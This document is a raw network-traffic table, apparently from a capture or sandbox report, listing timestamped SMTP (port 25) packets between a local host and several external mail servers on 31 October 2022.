Oct 31, 2022 12:20:40.809148073 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809169054 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809187889 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809204102 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.809206009 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809222937 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809242964 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809261084 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.809261084 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809261084 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.809278011 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809284925 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.809294939 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809312105 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809312105 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:40.809330940 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809348106 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809365988 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809382915 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809400082 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.809417009 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.813987970 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.814027071 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.820544004 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.820698977 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:40.863116026 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863162041 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863177061 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863188028 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863200903 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863213062 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863224983 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863231897 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863244057 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863256931 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863267899 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863280058 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863291025 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863302946 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863312960 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863320112 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863377094 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.863390923 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:40.874190092 CET	25	50061	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:40.916173935 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.916357040 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.948910952 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.957165956 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.957462072 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.959304094 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.964376926 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.964457035 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:40.966125011 CET	25	50064	209.51.188.92	192.168.2.5
Oct 31, 2022 12:20:40.966190100 CET	50064	25	192.168.2.5	209.51.188.92
Oct 31, 2022 12:20:40.992008924 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.992043018 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.992054939 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.992064953 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.992073059 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.992346048 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:40.997251034 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:40.997477055 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:41.024952888 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.024976015 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.024987936 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025001049 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025012016 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025023937 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025037050 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025046110 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:41.025048971 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025060892 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025074005 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025084972 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025096893 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025106907 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:41.025109053 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025120974 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025132895 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025144100 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:41.025145054 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025156975 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.025168896 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.030613899 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.030632019 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.054699898 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:41.054738998 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:41.054843903 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:41.054892063 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:41.058233023 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058265924 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058284044 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058301926 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058320045 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058339119 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058357000 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058374882 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058392048 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058408976 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058427095 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058896065 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058913946 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058928967 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058948040 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058967113 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.058984041 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.059000969 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.067753077 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:41.067950010 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:41.069669962 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.069700956 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.069768906 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:41.070306063 CET	50068	25	192.168.2.5	142.250.147.27
Oct 31, 2022 12:20:41.091133118 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.103239059 CET	25	50068	142.250.147.27	192.168.2.5
Oct 31, 2022 12:20:41.116031885 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.124090910 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.124188900 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.144237995 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.144356012 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.158987999 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.159224033 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.172564983 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.172804117 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.192090988 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.195082903 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.195287943 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.199630022 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.203669071 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.203876019 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.222726107 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:41.222990990 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:41.228655100 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.231023073 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.236601114 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.238437891 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.269882917 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.275094032 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.369774103 CET	50067	25	192.168.2.5	142.250.150.27
Oct 31, 2022 12:20:41.377782106 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:41.377949953 CET	49884	25	192.168.2.5	85.187.148.2
Oct 31, 2022 12:20:41.383723021 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.384335041 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.411189079 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.411416054 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.411866903 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.413110971 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.414926052 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.421024084 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.423340082 CET	25	50067	142.250.150.27	192.168.2.5
Oct 31, 2022 12:20:41.440013885 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.440042019 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.440054893 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.440069914 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.440082073 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.440148115 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.440202951 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.444451094 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.444561005 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.453886986 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.454467058 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.454988003 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.456964970 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.467081070 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467104912 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467117071 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467128992 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467139959 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467152119 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467164040 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467175961 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467171907 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.467190027 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467201948 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467214108 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467226028 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467238903 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467250109 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467253923 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.467264891 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467277050 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.467293978 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.467346907 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.471494913 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.471518993 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.489885092 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.489907980 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.489922047 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.489931107 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.489943027 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.489998102 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.490092993 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.494152069 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494175911 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494184017 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494195938 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494208097 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494220018 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494232893 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494281054 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494293928 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494306087 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494318008 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494332075 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494343996 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494354963 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494400024 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494414091 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494426012 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.494471073 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.495043993 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.495158911 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.496942043 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.496965885 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.497036934 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.497294903 CET	50070	25	192.168.2.5	142.250.153.27
Oct 31, 2022 12:20:41.522991896 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523016930 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523029089 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523042917 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523055077 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523066998 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523077965 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523092031 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523103952 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523112059 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523123026 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523134947 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523145914 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523158073 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523169994 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523181915 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.523256063 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.523361921 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.523925066 CET	25	50070	142.250.153.27	192.168.2.5
Oct 31, 2022 12:20:41.528059959 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.528074026 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.530705929 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.556267023 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556301117 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556313038 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556325912 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556338072 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556349993 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556363106 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556374073 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556385994 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556396961 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556410074 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556422949 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556436062 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556447029 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556457996 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556468964 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556479931 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.556492090 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.559207916 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.559233904 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.559333086 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.563651085 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.563883066 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.570342064 CET	50069	25	192.168.2.5	74.125.140.27
Oct 31, 2022 12:20:41.571841955 CET	25	49884	85.187.148.2	192.168.2.5
Oct 31, 2022 12:20:41.603683949 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:41.603984118 CET	25	50069	74.125.140.27	192.168.2.5
Oct 31, 2022 12:20:41.606473923 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.606930017 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.640398026 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.651079893 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.652985096 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.691215992 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.694603920 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.694931984 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.733283043 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.853600025 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.854993105 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.888413906 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.896825075 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.897064924 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.898910999 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.932279110 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.932307959 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.932320118 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.932333946 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.932346106 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.932519913 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.932595015 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.938164949 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.938333035 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.965998888 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966028929 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966041088 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966049910 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966061115 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966074944 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966089010 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966101885 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966114044 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966125965 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966137886 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966150999 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966162920 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966176033 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966188908 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966201067 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966212988 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.966221094 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.966294050 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:41.969321012 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:41.969902992 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:41.971602917 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.971623898 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999614954 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999645948 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999659061 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999670982 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999684095 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999695063 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999707937 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999718904 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999730110 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999742031 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999752998 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999763012 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999773979 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999785900 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999809027 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999820948 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:41.999834061 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:42.012659073 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:42.012691021 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:42.012811899 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:42.012811899 CET	50071	25	192.168.2.5	142.250.147.26
Oct 31, 2022 12:20:42.046236992 CET	25	50071	142.250.147.26	192.168.2.5
Oct 31, 2022 12:20:42.274327040 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:42.275837898 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:42.508816004 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:42.510920048 CET	50072	25	192.168.2.5	74.125.200.27
Oct 31, 2022 12:20:42.878834009 CET	25	50072	74.125.200.27	192.168.2.5
Oct 31, 2022 12:20:43.052361965 CET	25	50072	74.125.200.27	192.168.2.5
